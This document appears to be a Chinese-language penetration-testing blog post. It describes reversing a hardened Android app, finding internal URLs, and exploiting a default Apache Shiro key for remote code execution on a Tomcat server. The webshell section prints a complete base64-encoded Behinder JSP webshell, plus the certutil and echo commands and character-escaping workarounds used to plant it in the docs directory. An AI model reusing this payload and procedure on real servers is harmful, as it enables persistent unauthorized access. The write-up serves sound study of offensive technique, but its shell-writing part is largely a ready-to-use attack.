前言
某次针对一个APP的渗透测试中,首页几乎只有一个登录框。该登录认证调用了公司门户站的SSO单点登录,前端还部署了长亭的WAF,看起来几乎是牢不可破。常规的渗透手法逐一尝试后,都没有找到明显的突破点。
脱壳与逆向
直接用 jadx 一把梭,先看看有没有什么敏感信息泄露。审源码的时候发现应用加了爱加密加固,于是上反射大师脱壳,得到 dex 文件。之后再换 jadx 看代码,这个过程就不展开了,毕竟不是本文的重点。
逆向分析
粗略地浏览了一遍代码,发现应用用的是 OkHttp 框架。看了下,存在反抓包机制,不过直接 Hook 绕过就能正常抓包了。数据库密码、阿里 OSS Key 之类的敏感信息并没有硬编码在 APP 里,因此没什么特别可用的东西。至于登录验证算法,全都是调用的单点登录,这一步也没什么突破点。

突破口
1. 搜集敏感URL
正当没什么进展的时候,我翻了翻基础类的源码,在 BaseUrlConfig 这个类里发现了一串 URL。有意思的是,它们都指向同一个 IP,只是端口不同。
这里顺便推荐一款 APP 信息搜集工具:AppInfoScanner,它能主动扫描并获取 APP 中的 URL 信息。

2. 发现空白页面
直接访问那个链接,页面一片空白。不过,从页面图标来看,能判断出后端搭载的是 Tomcat。

3. 路径猜解与Shiro利用
接下来的操作是在源码里全局搜索 http:// 这个关键词。很快又搜到一个 URL,这次是域名格式的,类似 http://xxxxx:8080/web/weixin/xxxxxx。浏览器打开一看,还是空的,没什么东西。不过因为 URL 中出现了 weixin 关键词,我当时推测有两种可能:要么这是另一个登录点,要么就是微信授权接口。
于是试着猜了下路径,在 weixin 后面拼上 login,凑成 http://xxxxx:8080/web/weixin/login,果然弹出了登录页。既然路径结构和之前发现的 URL 类似,推测后端也同样是 Java 写的。那还等什么?直接掏出 Shiro 反序列化利用工具,尝试默认 Key,一举成功,直接 RCE。Java 后端拿到的权限,一般就是 system 权限了。

拿到 RCE 当然不能就这么算了,为了方便后续操作,肯定得给它写个 Webshell。
写入Webshell踩坑记
写 Shell 的方法无非就是那几种:传小马拖大马、手动 echo 写入、远程下载等等。这个环境里,服务器不出网,远程下载是别想了;又没有上传点;写小马的话,代码量跟冰蝎差不多,意义不大。目标环境是 Windows,还是个 JSP 站点,麻烦事就来了。
坑点一:特殊字符转义
在 Windows 服务器上写 Shell,常规操作就是不断 echo shell内容 >> shell.jsp。JSP 马的代码内容多,特殊字符也多,理论上用 ^ 一个个转义就能行。我这里以写冰蝎马为例,转义了大半天,本地测试写入没问题,但在 Shiro 工具里就是不行……估计是编码的问题。折腾了半个多小时,还是无果,只能放弃。
坑点二:Base64解码报错
特殊字符太多,另一种办法就是先把 Shell 内容做 Base64 编码,传到目标机上再用命令解码。CMD 的 certutil 是具备 Base64 解码功能的。
certutil -decode 1.txt 2.jsp # 将1.txt解码生成2.jsp
本地测试依旧一路畅通,可一到服务器上就掉链子,解码失败,输出长度直接为 0。

除此之外,什么字符拼接、Base64 一段段传上去解……全试过了,不是报错就是写不进去,要不就是解码后输出长度为 0。大概率是目标服务器环境本身的问题,在这里耗掉了大量时间。
成功写入
最后是怎么搞定的呢?我用了“Fuzz 大法”。把 Shell 内容拆成一段一段,分别做 Base64 编码上传并解码,通过不断 Fuzz 测试,看看到底是哪部分字符导致了解码失败。
最终锁定了“元凶”:冰蝎马的 <% 结束标签,即 ;}%> 这四个字符。只要 Base64 编码里不以它们结尾,解码就一帆风顺;一旦以这四个字符结尾,解码必报错。
坑点三:根目录Webshell不解析
好不容易写入成功了,解码也过了,地址就放在网站根目录。可当我兴冲冲地去连接时,却发现报错,手动访问一看,Webshell 居然变成了下载链接——它根本没被 JSP 引擎解析。最后,我尝试把 Webshell 写到 docs 目录下才成功解析。因为 docs 目录是 Tomcat 自带的说明文档目录。
思路总结与定点击破
找到了问题的根源,就好办了。思路很清晰:
-
先把去掉最后四个字符的 Shell 内容进行 Base64 编码,传到目标上,解码输出到文件 2.jsp。
echo PCVAcGFnZSBpbXBvcnQ9ImphdmEudXRpbC4qLGphdmF4LmNyeXB0by4qLGphdmF4LmNyeXB0by5zcGVjLioiJT48JSFjbGFzcyBVIGV4dGVuZHMgQ2xhc3NMb2FkZXJ7VShDbGFzc0xvYWRlciBjKXtzdXBlcihjKTt9cHVibGljIENsYXNzIGcoYnl0ZSBbXWIpe3JldHVybiBzdXBlci5kZWZpbmVDbGFzcyhiLDAsYi5sZW5ndGgpO319JT48JWlmIChyZXF1ZXN0LmdldE1ldGhvZCgpLmVxdWFscygiUE9TVCIpKXtTdHJpbmcgaz0iZTQ1ZTMyOWZlYjVkOTI1YiI7c2Vzc2lvbi5wdXRWYWx1ZSgidSIsayk7Q2lwaGVyIGM9Q2lwaGVyLmdldEluc3RhbmNlKCJBRVMiKTtjLmluaXQoMixuZXcgU2VjcmV0S2V5U3BlYyhrLmdldEJ5dGVzKCksIkFFUyIpKTtuZXcgVSh0aGlzLmdldENsYXNzKCkuZ2V0Q2xhc3NMb2FkZXIoKSkuZyhjLmRvRmluYWwobmV3IHN1bi5taXNjLkJBU0U2NERlY29kZXIoKS5kZWNvZGVCdWZmZXIocmVxdWVzdC5nZXRSZWFkZXIoKS5yZWFkTGluZSgpKSkpLm5ld0luc3RhbmNlKCkuZXF1YWxzKHBhZ2VDb250ZXh0KQ > 1.txt
certutil -decode 1.txt 2.jsp
-
剩下的那四个特殊字符,用 echo 命令手动追加到 2.jsp 文件末尾。
echo ^;^}^%^> >> 2.jsp

- 最后,成功将 Webshell 写入了
docs 目录。附上一张成功连接后的环境变量截图。

结尾
这次写 Shell 大概耗了两个多小时,还有很多小细节没细说。在 安全/渗透/逆向 实践中,本地操作没报错,不代表服务器上就一帆风顺,环境差异和玄学问题时有发生。我此前也有通过 Shiro 写 Shell 的经历,但那次没这么多坑,一次性 Base64 解码写入就成功了。每个人遇到的环境都可能不同,最好的策略就是不断 Fuzz 测试,精准定位报错原因,然后定点击破。补充一句,内存马注入也是个办法,但它有把站点整崩的风险,别问我怎么知道的……不到万不得已,慎用。
最后确认资产时,发现没打偏,原来打到的是该公司另一台业务服务器。如果一开始直接从 APP 正面硬刚,即便有 Shiro,也没法绕过 WAF。所以在 云栈社区 我们常说,正面突破受阻时,不妨考虑从APP内部多搜集一些敏感信息,说不定就能发现意想不到的突破口。